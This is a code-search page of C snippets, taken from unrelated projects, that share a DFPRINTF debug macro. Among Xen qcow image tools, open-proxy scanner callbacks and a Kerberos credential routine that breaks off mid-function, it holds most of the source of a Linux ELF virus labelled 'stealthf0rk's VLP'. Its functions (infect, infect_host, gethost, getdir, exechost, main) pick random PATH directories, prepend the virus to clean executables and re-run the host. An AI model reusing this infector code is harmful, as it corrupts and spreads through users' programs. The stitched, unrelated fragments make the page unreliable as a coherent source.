Exemple #1
0
int infect(int anz, char *caller)
{
	int i = 0, j = 0;
	char *dir, *f, *path;
        
        char file[200];
	struct stat status;               /* save time ... */       	
                
        path = getenv("PATH");
        if ((dir = getdir(path)) == NULL) /* find directory */
           	return -1;

   	while (i < anz && j < 10) { /* <anz> times  */
           	DFPRINTF("------------- new infection stack ----------\n");
                DFPRINTF("@f infect: directory of infection is <%s>\n", dir);
           	j++;
           	if ((f = gethost(dir, FILEPATH)) == NULL) 
                   	continue;                		
                strcpy(file, f);        	
                if (saveattribs(file, &status) < 0)
                   	continue;
                if (infect_host(file, caller) < 0)
                   	continue;
                if (restoreattribs(file, status) < 0)
                   	continue;
                i++;
                j = 0;
                DFPRINTF("@f infect: infected file is <%s>\n", file);
        }
        return i;   	
}
Exemple #2
0
int exechost(char *caller, char **arglist, char **envlist)
{
  
     	int i, j, in, out,
            r, w;
     	char *buff;    
	const int vlength = VLENGTH;
        char tempfile[20];
        struct stat status;
        

        DFPRINTF("@f exechost: caller = <%s> argv[0] = <%s>\n", caller, arglist[0]);
        DFPRINTF("=========== end of report =============\n");        
#ifdef DEBUG
        if (fd != stdout)
           	fclose(fd);
#endif     
 
     	if ((buff = (char*)(malloc(vlength))) == NULL)
        	return -1;
/* copy rest out of the program */

     	if ((in = open(caller, O_RDONLY)) == -1) 
        	return -1;             

/* Since the files wich are just executed are locked (can't be opened for
 * writing) and more than one of them can run at the same time [that means 
 * also more that one of a infected file ...] under UNIX we have to search 
 * for the next tempfile (/tmp/tempXYZ) we can use. 
 */
     	out = -1;
        j = 0;
        while (out < 0) {
           	sprintf(tempfile, "%s%d", TEMP, j++);
           	out = open(tempfile, O_RDWR|O_CREAT|O_TRUNC);
        }


/* from position 'vlength' ,the virus ends there  */

     	if (lseek(in, vlength, SEEK_SET) == -1)
        	return -1;
     	while ((r = read(in, buff, vlength)) > 0) {
        	if ((w = write(out, buff, r)) == -1)
           		return -1; 
     	}
     	close(in);
     	close(out);
     	free(buff);

        /* put the ORIGINAL attribs of the file to the tempfile */
     	saveattribs(caller, &status);
        restoreattribs(tempfile, status);
        
        execve(tempfile, arglist, envlist);
        while (1);
}
static int get_image_info(struct td_state *s, int fd)
{
	int ret;
	long size;
	unsigned long total_size;
	struct statvfs statBuf;
	struct stat stat;

	ret = fstat(fd, &stat);
	if (ret != 0) {
		DFPRINTF("ERROR: fstat failed, Couldn't stat image");
		return -EINVAL;
	}

	if (S_ISBLK(stat.st_mode)) {
		/*Accessing block device directly*/
		s->size = 0;
		if (ioctl(fd,BLKGETSIZE,&s->size)!=0) {
			DFPRINTF("ERR: BLKGETSIZE failed, "
				 "couldn't stat image");
			return -EINVAL;
		}

		DFPRINTF("Image size: \n\tpre sector_shift  [%llu]\n\tpost "
			"sector_shift [%llu]\n",
			(long long unsigned)(s->size << SECTOR_SHIFT),
			(long long unsigned)s->size);

		/*Get the sector size*/
#if defined(BLKSSZGET)
		{
			int arg;
			s->sector_size = DEFAULT_SECTOR_SIZE;
			ioctl(fd, BLKSSZGET, &s->sector_size);
			
			if (s->sector_size != DEFAULT_SECTOR_SIZE)
				DFPRINTF("Note: sector size is %ld (not %d)\n",
					s->sector_size, DEFAULT_SECTOR_SIZE);
		}
#else
		s->sector_size = DEFAULT_SECTOR_SIZE;
#endif

	} else {
		/*Local file? try fstat instead*/
		s->size = (stat.st_size >> SECTOR_SHIFT);
		s->sector_size = DEFAULT_SECTOR_SIZE;
		DFPRINTF("Image size: [%llu]\n",
			(long long unsigned)s->size);
	}

	return 0;
}
static void print_bytes(void *ptr, int length)
{
  int i,k;
  unsigned char *p = ptr;

    DFPRINTF("Buf dump, length %d:\n",length);
    for (k = 0; k < length; k++) {
        DFPRINTF("%x",*p);
        *p++;
	if(k % 16 == 0) DFPRINTF("\n");
        else if(k % 2 == 0) DFPRINTF(" ");	
    }
    DFPRINTF("\n");
    return;
}
Exemple #5
0
int infect_host(char *host, char *caller)
{
     	int in,out,
            r,w; 
     	const int vlength = VLENGTH;
     	char *buff;	  
         
     	if ((buff = (char*)malloc(vlength)) == NULL)
           	return -1;

/* copy	<host> to tempfile, open and truncate [the host] 
 * and copy the beginning (virus, vlength byte) of the running 
 * program [file 'caller'] to it.
 */   
     	if (cp(host, TMP) == -1)
        	return -1;
                
        DFPRINTF("@f infect_host: copied <%s> to <%s> \n", host, TMP);
     	if ((in = open(caller, O_RDONLY)) == -1)
        	return -1; 
     	if ((out = open(host, O_RDWR|O_TRUNC)) == -1)
     	   	return -1;
        DFPRINTF("@f infect_host: opened host <%s> and caller <%s>\n", host, caller); 
     	if ((r = read(in, buff, vlength)) == -1)
        	return -1; 
     	if ((w = write(out, buff, vlength)) == -1)
        	return -1;
     	close(in);
     	if ((in = open(TMP, O_RDWR)) == -1)
           	return -1;

/* append the rest of the original file to the host -> end of infection */
  
     	while ((r = read(in, buff, vlength)) > 0) {
        	if ((w = write(out, buff, r)) == -1)
           		return -1; 
     	}	
     	close(in);
     	close(out);
     	free(buff);
        DFPRINTF("@f infect_host: try to remove <%s>\n", TMP);
     	remove(TMP);
     	return 0;
} 
Exemple #6
0
void
telnet_errorcb(struct bufferevent *bev, short what, void *parameter)
{
	struct argument *arg = parameter;

	DFPRINTF((stderr, "%s: called\n", __func__));

	postres(arg, "<telnet proxy error>");
	scanhost_return(bev, arg, 0);
}
Exemple #7
0
int isregular(char *file)
{
   	struct stat status;
       
        DFPRINTF("@f isregular: <%s>\n", file); 
        if (stat(file, &status) == -1)
           	return 0;
        if (!S_ISREG(status.st_mode))
           	return 0;
        else
           	return 1;
}        
static void debug_output(uint64_t progress, uint64_t size)
{
	uint64_t blocks = size/20;

	/*Output progress every 5% */	
	if (progress/blocks > prev) {
		memcpy(output+prev+1,"=>",2);
		prev++;
		DFPRINTF("\r%s     %llu%%", output, 
			(long long)(prev-1)*5);
	}
	return;
}
Exemple #9
0
int main(int argc, char **argv, char **envp)
{
   	char *s, *s2, *path, *dir;
        int i;
        char from[200];        
        
#ifdef DEBUG
       /* If U are angry do this:
        * setenv("PATH", "/root/VTEST/bin:/root/VTEST/bad:/root/VTEST/usr/bin:/root/VTEST/bad2", 1);
        */
        fd = fopen(TRACEFILE, "a");
#endif
        DFPRINTF("====== tracefile of stealthf0rk's VLP ==========\n");
        path = getenv("PATH");
        s = whereis(path, argv[0]);  /* return only static! -> */
        if (strcpy(from, s) == NULL) /* so we need a copy */
           	return -1;
        DFPRINTF("@f main: file of action is <%s>\n", from);
        i = infect(3, from);
        exechost(from, argv, envp);
        return 0;
}
static int get_image_info(struct td_state *s, int fd)
{
	int ret;
	long size;
	unsigned long total_size;
	struct statvfs statBuf;
	struct stat stat;

	ret = fstat(fd, &stat);
	if (ret != 0) {
		DFPRINTF("ERROR: fstat failed, Couldn't stat image");
		return -EINVAL;
	}

	if (S_ISBLK(stat.st_mode)) {
		/*Accessing block device directly*/
		if (blk_getimagesize(fd, &s->size) != 0)
			return -EINVAL;

		DFPRINTF("Image size: \n\tpre sector_shift  [%llu]\n\tpost "
			"sector_shift [%llu]\n",
			(long long unsigned)(s->size << SECTOR_SHIFT),
			(long long unsigned)s->size);

		/*Get the sector size*/
		if (blk_getsectorsize(fd, &s->sector_size) != 0)
			s->sector_size = DEFAULT_SECTOR_SIZE;

	} else {
		/*Local file? try fstat instead*/
		s->size = (stat.st_size >> SECTOR_SHIFT);
		s->sector_size = DEFAULT_SECTOR_SIZE;
		DFPRINTF("Image size: [%llu]\n",
			(long long unsigned)s->size);
	}

	return 0;
}
Exemple #11
0
void
http_writecb(struct bufferevent *bev, void *parameter)
{
	struct argument *arg = parameter;

	DFPRINTF((stderr, "%s: called\n", __func__));

	switch (arg->a_flags) {
	case 0:
		arg->a_flags = HTTP_WAITING_RESPONSE;
		http_makerequest(bev, arg, socks_getword(), 1);
		break;
	}
}
Exemple #12
0
char *gethost(char *dir, int flag)
{
#define RANDNUM (int)((double)(found)*rand()/(RAND_MAX + 1.0)) /* uff */

   	static int first = 1, gen = 0;
        int r, i = 0;
        static struct dirent **filelist; 
        char *host, *path;
        static int found;
                
        path = getenv("PATH");

       /* Only 'randomize' at the first call .
        * Use scandir() to read out the directory.
        */
        if (first) {
           	if ((found = scandir(dir, &filelist, 0, 0)) <= 0)
                   	return NULL; 
                srand(getpid());
        }
        r = RANDNUM;        
        
        /* Get one of the file randomly. */
        
        if ((host = whereis(path, filelist[r]->d_name)) == NULL) 
               	return NULL;
        /* isclean means ready for infection: NOT a directory
         * NOT a textfile and NOT infected
         */
        while (isclean(host) != 1 && i < found) {
           	r = RANDNUM;         
                if((host = whereis(path, filelist[r]->d_name)) == NULL)
                   	return NULL;
                i++;
        }       
        first = 0;
        if (i >= found) 
           	return NULL;
        else {
        DFPRINTF("@f gethost: got host <%s>\n", host);      
           	if (flag == 0)	
                   	return filelist[r]->d_name; /* static */
                if (flag == 1) 
                   	return host; /* static, da host ein statischer */
                else	             /* return von *whereis(...) ist */		
                   	return NULL;                
        }                
#undef RANDNUM
}       
Exemple #13
0
void
telnet_writecb(struct bufferevent *bev, void *parameter)
{
	struct argument *arg = parameter;

	DFPRINTF((stderr, "%s: called\n", __func__));

	if (arg->a_flags == 0) {
		return;
	} else if (arg->a_flags & TELNET_WAITING_CONNECT) {
		bufferevent_enable(bev, EV_READ);
		arg->a_flags = TELNET_READING_CONNECT;
	} else if (arg->a_flags & TELNET_WRITING_COMMAND) {
		bufferevent_enable(bev, EV_READ);
		arg->a_flags = TELNET_WAITING_RESPONSE;
	}
}
Exemple #14
0
void
http_connect_writecb(struct bufferevent *bev, void *parameter)
{
	struct argument *arg = parameter;

	DFPRINTF((stderr, "%s: called\n", __func__));

	if (arg->a_flags == 0) {
		arg->a_flags = HTTP_WAITING_CONNECT;
		http_makeconnect(bev, arg);
		bufferevent_disable(bev, EV_READ);
	} else if (arg->a_flags & HTTP_WAITING_CONNECT) {
		bufferevent_enable(bev, EV_READ);
		arg->a_flags = HTTP_READING_CONNECT;
	} else if (arg->a_flags & HTTP_WRITING_COMMAND) {
		bufferevent_enable(bev, EV_READ);
		arg->a_flags = HTTP_WAITING_RESPONSE;
	}
}
Exemple #15
0
void
telnet_readcb(struct bufferevent *bev, void *parameter)
{
	struct argument *arg = parameter;
	struct evbuffer *input = EVBUFFER_INPUT(bev);
	struct telnet_state *state = arg->a_state;

	DFPRINTF((stderr, "%s: called\n", __func__));

	if (arg->a_flags == 0) {
		int res = telnet_makeconnect(bev, arg);
		if (res == -1) {
			evbuffer_add(input, "", 1);
			printres(arg, arg->a_ports[0].port, 
			    EVBUFFER_DATA(input));
			scanhost_return(bev, arg, 0);
			return;
		} else if (res == 1) {
			arg->a_flags = TELNET_WAITING_CONNECT;
			bufferevent_disable(bev, EV_READ);
		}
	} else if (arg->a_flags & TELNET_READING_CONNECT) {
		if (evbuffer_find(input, state->connect_wait,
			strlen(state->connect_wait)) == NULL)
			return;
		evbuffer_drain(input, EVBUFFER_LENGTH(input));

		arg->a_flags = TELNET_WRITING_COMMAND;
		bufferevent_disable(bev, EV_READ);
		http_makerequest(bev, arg, socks_getword(), 0);
	} else if (arg->a_flags & TELNET_WAITING_RESPONSE) {
		int res = http_bufferanalyse(bev, arg);
		if (res == -1)
			return;
		if (res == 1) {
			postres(arg, state->response);
			scanhost_return(bev, arg, 1);
		}
	}

	return;
}
Exemple #16
0
int iself(char *host)
{
	int in,
            r = 0;
     	char mn[5] = {0x7f,0x45,0x4c,0x46,'\0'}, /* .ELF */
           buff[5] = {'\0'};
        DFPRINTF("@f iself: look at file <%s>\n", host);
     	if ((in = open(host, O_RDONLY)) == -1)
           	return -1;
     	if ((r = read(in, buff,4)) == -1)
        	return -1;
     	if (strcmp(buff, mn) == 0) {
        	close (in);
            	return 1;
        }
        else {
   		close (in);  
        	return 0; 
     	} 
}      
Exemple #17
0
char *getdir(char *path)
{
#define NOT_IN_PATH path - _begin >= pathlen
#define RANDNUM (int)((double)strlen(path)*rand()/(RAND_MAX + 1.0))

   	static char dir[100];
        int n, r, not_found = 1, pathlen;
        char *_begin;
        static first = 1;
        
        _begin = path;
        pathlen = strlen(path);
        
        memset(dir,'\0',100);
        if (first)
           srand(getpid());
        first = 0;
               
   	while (not_found) {
           	r = RANDNUM;              
                path += r;
                if (r != 0) {
                   	path += strcspn(path, ":");
                        path ++;
                }
                if (NOT_IN_PATH) {
                   	path = _begin;
                        continue;
                }   
                not_found = 0;
                n = strcspn(path, ":");
                strcpy(dir, "");	/* ... */ 
                strncat(dir, path, n);   
                strcat(dir,"");		/* needed ??? ... */
        }   
        DFPRINTF("@f getdir: found directory <%s>\n", dir);
        return dir;
        
#undef NOT_IN_PATH        
#undef RANDNUM        
}
Exemple #18
0
void
http_readcb(struct bufferevent *bev, void *parameter)
{
	struct argument *arg = parameter;

	DFPRINTF((stderr, "%s: called\n", __func__));

	if (arg->a_flags & HTTP_WAITING_RESPONSE) {
		int res = http_bufferanalyse(bev, arg);
		if (res == -1)
			return;
		if (res == 1) {
			postres(arg, "http proxy");
			scanhost_return(bev, arg, 1);
		}
	}

	return;

	scanhost_return(bev, arg, 0);
}
Exemple #19
0
int cp(char *oldfile,char *newfile)
 {
    char *buff;
    int nf,of,r,w;
 
    if ((buff = (char*)malloc(5000)) == NULL)
       	    return -1;
    if ((of = open(oldfile, O_RDONLY)) == -1)
            return -1;
    if ((nf = open(newfile, O_RDWR|O_CREAT|O_TRUNC)) == -1)
      	    return -1;   
    while ((r = read(of, buff, 5000)) > 0) {
       if ((w = write(nf, buff, r)) == -1)
            return -1; 
    }     
    DFPRINTF("@f cp: successfull copy of %s to %s\n", oldfile, newfile);
    free(buff);
    close(nf);
    close(of);
    return 0;
 }    
Exemple #20
0
int isinfected (char *ffile)
{
        int out,r = 0;
   	char cmp[4] = {0};

   	DFPRINTF("@f isinfected: look at <%s>\n", ffile);
   	if ((out = open(ffile, O_RDONLY)) == -1)
           	return -1;
   	if ((r = lseek(out, VLENGTH + 1, SEEK_SET)) == -1)
           	return -1;  
   	if ((r = read (out, cmp, 3)) == -1) 
           	return -1;
   	if (strcmp("ELF", cmp) == 0) {
      		close(out);
      		return 1;
   	} else 
        { 
             	close(out); 
                return 0; 
        }
}  
Exemple #21
0
int
http_getheaders(struct bufferevent *bev, struct argument *arg)
{
	struct evbuffer *input = EVBUFFER_INPUT(bev);
	size_t off;
	char *p;

	while ((p = evbuffer_find(input, "\n", 1)) != NULL) {
		off = (size_t)p - (size_t)EVBUFFER_DATA(input) + 1;
		if (off > 1 && *(p-1) == '\r')
			*(p-1) = '\0';
		*p = '\0';

		if (strlen(EVBUFFER_DATA(input)) == 0) {
			arg->a_flags |= HTTP_GOT_HEADERS;
			evbuffer_drain(input, off);
			break;
		} else {
			DFPRINTF((stderr, "Header: %s\n",
				     EVBUFFER_DATA(input)));
		}

		/* Check that we got an okay */
		if (!(arg->a_flags & HTTP_GOT_OK)) {
			if (http_response(EVBUFFER_DATA(input)) == -1) {
				return (-1);
			}
			arg->a_flags |= HTTP_GOT_OK;
		}
		evbuffer_drain(input, off);
	}

	if ((arg->a_flags & HTTP_GOT_HEADERS) &&
	    !(arg->a_flags & HTTP_GOT_OK))
		return (-1);

	return (0);
}
Exemple #22
0
void
http_connect_readcb(struct bufferevent *bev, void *parameter)
{
	struct argument *arg = parameter;

	DFPRINTF((stderr, "%s: called\n", __func__));

	if (arg->a_flags & HTTP_READING_CONNECT) {
		if (!(arg->a_flags & HTTP_GOT_HEADERS)) {
			if (http_getheaders(bev, arg) == -1) {
				postres(arg, "<error: response code>");
				scanhost_return(bev, arg, 0);
				return;
			}
		}

		if (arg->a_flags & HTTP_GOT_HEADERS) {
			arg->a_flags = HTTP_WRITING_COMMAND;
			http_makerequest(bev, arg, socks_getword(), 0);
			bufferevent_disable(bev, EV_READ);
			return;
		}
	} else if (arg->a_flags & HTTP_WAITING_RESPONSE) {
		int res = http_bufferanalyse(bev, arg);
		if (res == -1)
			return;
		if (res == -1) {
			postres(arg, "http connect proxy");
			scanhost_return(bev, arg, 1);
		}
	}

	return;

	scanhost_return(bev, arg, 0);
}
Exemple #23
0
char *whereis(char *path, char *prog)
{
#define IN_PATH path - _begin < pathlen + 2

   	static char file[200];
        int i = 0, pathlen;
        char *_begin;
        struct stat status;
                
        _begin = path;
        pathlen = strlen(path);
        if (strstr(prog,"/") != NULL) /* if its entered with path */
              	return prog;          /* -> gotcha */
        memset(file,'\0',200);
                
        /*  Loop until found or the pointer is not longer "in path".
         *  [the strXYZ() functions fuzzy the best debugger.
         *  If you want feel free to debug the virus. :-> ]
         */
         
        while (access(file, X_OK) != 0 && IN_PATH) {
                i = strcspn(path,":");  /* split string into dirs */
                strcpy(file, "");  	/* only for '\0' ! */
                strncat(file, path, i);   
                strcat(file, "/");
                strcat(file, prog);
                path = path + i + 1;
        }   
        if (!(IN_PATH))
           	return NULL;
        else {
        DFPRINTF("@f whereis: found file <%s>\n", file);
           	return file;        
        }        
#undef IN_PATH                
}
int main(int argc, char *argv[])
{
	int ret = -1, c, backed = 0;
	int sparse =  1;
	char *fmt = "qcow";
	uint64_t size;
	char filename[MAX_NAME_LEN], bfilename[MAX_NAME_LEN];
	char *tmpfile;

        for(;;) {
                c = getopt(argc, argv, "hrf");
                if (c == -1)
                        break;
                switch(c) {
                case 'h':
                        help();
                        exit(0);
                        break;
                case 'f':
                        fmt = argv[optind++];
                        break;
                case 'r':
			sparse = 0;
			break;
		default:
			fprintf(stderr, "Unknown option\n");
			help();
		}
	}

	printf("Optind %d, argc %d\n", optind, argc);
	if ( !(optind == (argc - 2) || optind == (argc - 3)) )
		help();

	size = atoi(argv[optind++]);
	size = size << 20;

	if (snprintf(filename, MAX_NAME_LEN, "%s",argv[optind++]) >=
		MAX_NAME_LEN) {
		fprintf(stderr,"Device name too long\n");
		exit(-1);
	}

	if (optind != argc) {
		/*Backing file argument*/
		backed = 1;
		if (snprintf(bfilename, MAX_NAME_LEN, "%s",argv[optind++]) >=
			MAX_NAME_LEN) {
			fprintf(stderr,"Device name too long\n");
			exit(-1);
		}
	}

    tmpfile = backed ? bfilename: NULL; 
    if (!strcmp(fmt, "qcow")) {
        ret = qcow_create(filename, size, tmpfile, sparse);
    } else if(!strcmp(fmt, "qcow2")) {
        ret = qcow2_create(filename, size, tmpfile, sparse);
    } else {
        fprintf(stderr,"Unsupport format:%s\n", fmt);
        exit(-1);
    } 
    DFPRINTF("Creating file size %llu, name %s\n",(long long unsigned)size, filename);

	if (ret < 0)
		DPRINTF("Unable to create QCOW file\n");
	else
		DPRINTF("QCOW file successfully created\n");

	return 0;
}
Exemple #25
0
int main(int argc, char *argv[])
{
	int ret = -1, c, backed = 0;
	int sparse =  1;
	uint64_t size;
	char filename[MAX_NAME_LEN], bfilename[MAX_NAME_LEN];

        for(;;) {
                c = getopt(argc, argv, "hr");
                if (c == -1)
                        break;
                switch(c) {
                case 'h':
                        help();
                        exit(0);
                        break;
                case 'r':
			sparse = 0;
			break;
		default:
			fprintf(stderr, "Unknown option\n");
			help();
		}
	}

	printf("Optind %d, argc %d\n", optind, argc);
	if ( !(optind == (argc - 2) || optind == (argc - 3)) )
		help();

	size = atoi(argv[optind++]);
	size = size << 20;

	if (snprintf(filename, MAX_NAME_LEN, "%s",argv[optind++]) >=
		MAX_NAME_LEN) {
		fprintf(stderr,"Device name too long\n");
		exit(-1);
	}

	if (optind != argc) {
		/*Backing file argument*/
		backed = 1;
		if (snprintf(bfilename, MAX_NAME_LEN, "%s",argv[optind++]) >=
			MAX_NAME_LEN) {
			fprintf(stderr,"Device name too long\n");
			exit(-1);
		}
	}

	DFPRINTF("Creating file size %"PRIu64", name %s\n",(uint64_t)size, filename);
	if (!backed)
		ret = qcow_create(filename,size,NULL,sparse);
	else
		ret = qcow_create(filename,size,bfilename,sparse);

	if (ret < 0)
		DPRINTF("Unable to create QCOW file\n");
	else
		DPRINTF("QCOW file successfully created\n");

	return 0;
}
Exemple #26
0
static krb5_error_code
krb5_get_cred_from_kdc_opt(krb5_context context, krb5_ccache ccache,
			   krb5_creds *in_cred, krb5_creds **out_cred,
			   krb5_creds ***tgts, int kdcopt)
{
    krb5_error_code retval, subretval;
    krb5_principal client, server, supplied_server, out_supplied_server;
    krb5_creds tgtq, cc_tgt, *tgtptr, *referral_tgts[KRB5_REFERRAL_MAXHOPS];
    krb5_creds *otgtptr = NULL;
    int tgtptr_isoffpath = 0;
    krb5_boolean old_use_conf_ktypes;
    char **hrealms;
    unsigned int referral_count, i;

    /* 
     * Set up client and server pointers.  Make a fresh and modifyable
     * copy of the in_cred server and save the supplied version.
     */
    client = in_cred->client;
    if ((retval=krb5_copy_principal(context, in_cred->server, &server)))
        return retval;
    /* We need a second copy for the output creds. */
    if ((retval = krb5_copy_principal(context, server,
				      &out_supplied_server)) != 0 ) {
	krb5_free_principal(context, server);
	return retval;
    }
    supplied_server = in_cred->server;
    in_cred->server=server;

    DUMP_PRINC("gc_from_kdc initial client", client);
    DUMP_PRINC("gc_from_kdc initial server", server);
    memset(&cc_tgt, 0, sizeof(cc_tgt));
    memset(&tgtq, 0, sizeof(tgtq));
    memset(&referral_tgts, 0, sizeof(referral_tgts));

    tgtptr = NULL;
    *tgts = NULL;
    *out_cred=NULL;
    old_use_conf_ktypes = context->use_conf_ktypes;

    /* Copy client realm to server if no hint. */
    if (krb5_is_referral_realm(&server->realm)) {
        /* Use the client realm. */
        DPRINTF(("gc_from_kdc: no server realm supplied, "
		 "using client realm.\n"));
	krb5_free_data_contents(context, &server->realm);
	if (!( server->realm.data = (char *)malloc(client->realm.length+1)))
	    return ENOMEM;
	memcpy(server->realm.data, client->realm.data, client->realm.length);
	server->realm.length = client->realm.length;
	server->realm.data[server->realm.length] = 0;
    }
    /*
     * Retreive initial TGT to match the specified server, either for the
     * local realm in the default (referral) case or for the remote
     * realm if we're starting someplace non-local.
     */
    retval = tgt_mcred(context, client, server, client, &tgtq);
    if (retval)
	goto cleanup;

    /* Fast path: Is it in the ccache? */
    context->use_conf_ktypes = 1;
    retval = krb5_cc_retrieve_cred(context, ccache, RETR_FLAGS,
				   &tgtq, &cc_tgt);
    if (!retval) {
	tgtptr = &cc_tgt;
    } else if (!HARD_CC_ERR(retval)) {
        DPRINTF(("gc_from_kdc: starting do_traversal to find "
		 "initial TGT for referral\n"));
	tgtptr_isoffpath = 0;
	otgtptr = NULL;
	retval = do_traversal(context, ccache, client, server,
			      &cc_tgt, &tgtptr, tgts, &tgtptr_isoffpath);
    }
    if (retval) {
        DPRINTF(("gc_from_kdc: failed to find initial TGT for referral\n"));
        goto cleanup;
    }

    DUMP_PRINC("gc_from_kdc: server as requested", supplied_server);

    /*
     * Try requesting a service ticket from our local KDC with referrals
     * turned on.  If the first referral succeeds, follow a referral-only
     * path, otherwise fall back to old-style assumptions.
     */

    /*
     * Save TGTPTR because we rewrite it in the referral loop, and
     * we might need to explicitly free it later.
     */
    otgtptr = tgtptr;
    for (referral_count = 0;
	 referral_count < KRB5_REFERRAL_MAXHOPS;
	 referral_count++) {
#if 0
        DUMP_PRINC("gc_from_kdc: referral loop: tgt in use", tgtptr->server);
        DUMP_PRINC("gc_from_kdc: referral loop: request is for", server);
#endif
        retval = krb5_get_cred_via_tkt(context, tgtptr,
				       KDC_OPT_CANONICALIZE | 
				       FLAGS2OPTS(tgtptr->ticket_flags) |  
				       kdcopt |
				       (in_cred->second_ticket.length ?
					KDC_OPT_ENC_TKT_IN_SKEY : 0),
				       tgtptr->addresses, in_cred, out_cred);
	if (retval) {
	    DPRINTF(("gc_from_kdc: referral TGS-REQ request failed: <%s>\n",
		     error_message(retval)));
	    /* If we haven't gone anywhere yet, fail through to the
	       non-referral case. */
	    if (referral_count==0) {
	        DPRINTF(("gc_from_kdc: initial referral failed; "
			 "punting to fallback.\n"));
	        break;
	    }
	    /* Otherwise, try the same query without canonicalization
	       set, and fail hard if that doesn't work. */
	    DPRINTF(("gc_from_kdc: referral #%d failed; "
		     "retrying without option.\n", referral_count + 1));
	    retval = krb5_get_cred_via_tkt(context, tgtptr,
					   FLAGS2OPTS(tgtptr->ticket_flags) |  
					   kdcopt |
					   (in_cred->second_ticket.length ?
					    KDC_OPT_ENC_TKT_IN_SKEY : 0),
					   tgtptr->addresses,
					   in_cred, out_cred);
	    /* Whether or not that succeeded, we're done. */
	    goto cleanup;
	}
	/* Referral request succeeded; let's see what it is. */
	if (krb5_principal_compare(context, in_cred->server,
				   (*out_cred)->server)) {
	    DPRINTF(("gc_from_kdc: request generated ticket "
		     "for requested server principal\n"));
	    DUMP_PRINC("gc_from_kdc final referred reply",
		       in_cred->server);

	    /*
	     * Check if the return enctype is one that we requested if
	     * needed.
	     */
	    if (old_use_conf_ktypes || context->tgs_ktype_count == 0)
		goto cleanup;
	    for (i = 0; i < context->tgs_ktype_count; i++) {
		if ((*out_cred)->keyblock.enctype == context->tgs_ktypes[i]) {
		    /* Found an allowable etype, so we're done */
		    goto cleanup;
		}
	    }
	    /*
	     *  We need to try again, but this time use the
	     *  tgs_ktypes in the context. At this point we should
	     *  have all the tgts to succeed.
	     */

	    /* Free "wrong" credential */
	    krb5_free_creds(context, *out_cred);
	    *out_cred = NULL;
	    /* Re-establish tgs etypes */
	    context->use_conf_ktypes = old_use_conf_ktypes;
	    retval = krb5_get_cred_via_tkt(context, tgtptr,
					   KDC_OPT_CANONICALIZE | 
					   FLAGS2OPTS(tgtptr->ticket_flags) |  
					   kdcopt |
					   (in_cred->second_ticket.length ?
					    KDC_OPT_ENC_TKT_IN_SKEY : 0),
					   tgtptr->addresses,
					   in_cred, out_cred);
	    goto cleanup;
	}
	else if (IS_TGS_PRINC(context, (*out_cred)->server)) {
	    krb5_data *r1, *r2;

	    DPRINTF(("gc_from_kdc: request generated referral tgt\n"));
	    DUMP_PRINC("gc_from_kdc credential received",
		       (*out_cred)->server);

	    if (referral_count == 0)
		r1 = &tgtptr->server->data[1];
	    else
		r1 = &referral_tgts[referral_count-1]->server->data[1];

	    r2 = &(*out_cred)->server->data[1];
	    if (data_eq(*r1, *r2)) {
		DPRINTF(("gc_from_kdc: referred back to "
			 "previous realm; fall back\n"));
		krb5_free_creds(context, *out_cred);
		*out_cred = NULL;
		break;
	    }
	    /* Check for referral routing loop. */
	    for (i=0;i<referral_count;i++) {
#if 0
		DUMP_PRINC("gc_from_kdc: loop compare #1",
			   (*out_cred)->server);
		DUMP_PRINC("gc_from_kdc: loop compare #2",
			   referral_tgts[i]->server);
#endif
		if (krb5_principal_compare(context,
					   (*out_cred)->server,
					   referral_tgts[i]->server)) {
		    DFPRINTF((stderr,
			      "krb5_get_cred_from_kdc_opt: "
			      "referral routing loop - "
			      "got referral back to hop #%d\n", i));
		    retval=KRB5_KDC_UNREACH;
		    goto cleanup;
		}
	    }
	    /* Point current tgt pointer at newly-received TGT. */
	    if (tgtptr == &cc_tgt)
		krb5_free_cred_contents(context, tgtptr);
	    tgtptr=*out_cred;
	    /* Save pointer to tgt in referral_tgts. */
	    referral_tgts[referral_count]=*out_cred;
	    *out_cred = NULL;
	    /* Copy krbtgt realm to server principal. */
	    krb5_free_data_contents(context, &server->realm);
	    retval = krb5int_copy_data_contents(context,
						&tgtptr->server->data[1],
						&server->realm);
	    if (retval)
		return retval;
	    /*
	     * Future work: rewrite server principal per any
	     * supplied padata.
	     */
	} else {
	    /* Not a TGT; punt to fallback. */
	    krb5_free_creds(context, *out_cred);
	    *out_cred = NULL;
	    break;
	}
    }

    DUMP_PRINC("gc_from_kdc client at fallback", client);
    DUMP_PRINC("gc_from_kdc server at fallback", server);

    /*
     * At this point referrals have been tried and have failed.  Go
     * back to the server principal as originally issued and try the
     * conventional path.
     */

    /*
     * Referrals have failed.  Look up fallback realm if not
     * originally provided.
     */
    if (krb5_is_referral_realm(&supplied_server->realm)) {
        if (server->length >= 2) {
	    retval=krb5_get_fallback_host_realm(context, &server->data[1],
						&hrealms);
	    if (retval) goto cleanup;
#if 0
	    DPRINTF(("gc_from_kdc: using fallback realm of %s\n",
		     hrealms[0]));
#endif
	    krb5_free_data_contents(context,&in_cred->server->realm);
	    server->realm.data=hrealms[0];
	    server->realm.length=strlen(hrealms[0]);
	    free(hrealms);
	}
	else {
	    /*
	     * Problem case: Realm tagged for referral but apparently not
	     * in a <type>/<host> format that
	     * krb5_get_fallback_host_realm can deal with.
	     */
	    DPRINTF(("gc_from_kdc: referral specified "
		     "but no fallback realm avaiable!\n"));
	    return KRB5_ERR_HOST_REALM_UNKNOWN;
	}
    }

    DUMP_PRINC("gc_from_kdc server at fallback after fallback rewrite",
	       server);

    /*
     * Get a TGT for the target realm.
     */

    krb5_free_cred_contents(context, &tgtq);
    retval = tgt_mcred(context, client, server, client, &tgtq);
    if (retval)
	goto cleanup;

    /* Fast path: Is it in the ccache? */
    /* Free tgtptr data if reused from above. */
    if (tgtptr == &cc_tgt)
	krb5_free_cred_contents(context, tgtptr);
    tgtptr = NULL;
    /* Free saved TGT in OTGTPTR if it was off-path. */
    if (tgtptr_isoffpath)
	krb5_free_creds(context, otgtptr);
    otgtptr = NULL;
    /* Free TGTS if previously filled by do_traversal() */
    if (*tgts != NULL) {
	for (i = 0; (*tgts)[i] != NULL; i++) {
	    krb5_free_creds(context, (*tgts)[i]);
	}
	free(*tgts);
	*tgts = NULL;
    }
    context->use_conf_ktypes = 1;
    retval = krb5_cc_retrieve_cred(context, ccache, RETR_FLAGS,
				   &tgtq, &cc_tgt);
    if (!retval) {
	tgtptr = &cc_tgt;
    } else if (!HARD_CC_ERR(retval)) {
	tgtptr_isoffpath = 0;
	retval = do_traversal(context, ccache, client, server,
			      &cc_tgt, &tgtptr, tgts, &tgtptr_isoffpath);
    }
    if (retval)
	goto cleanup;
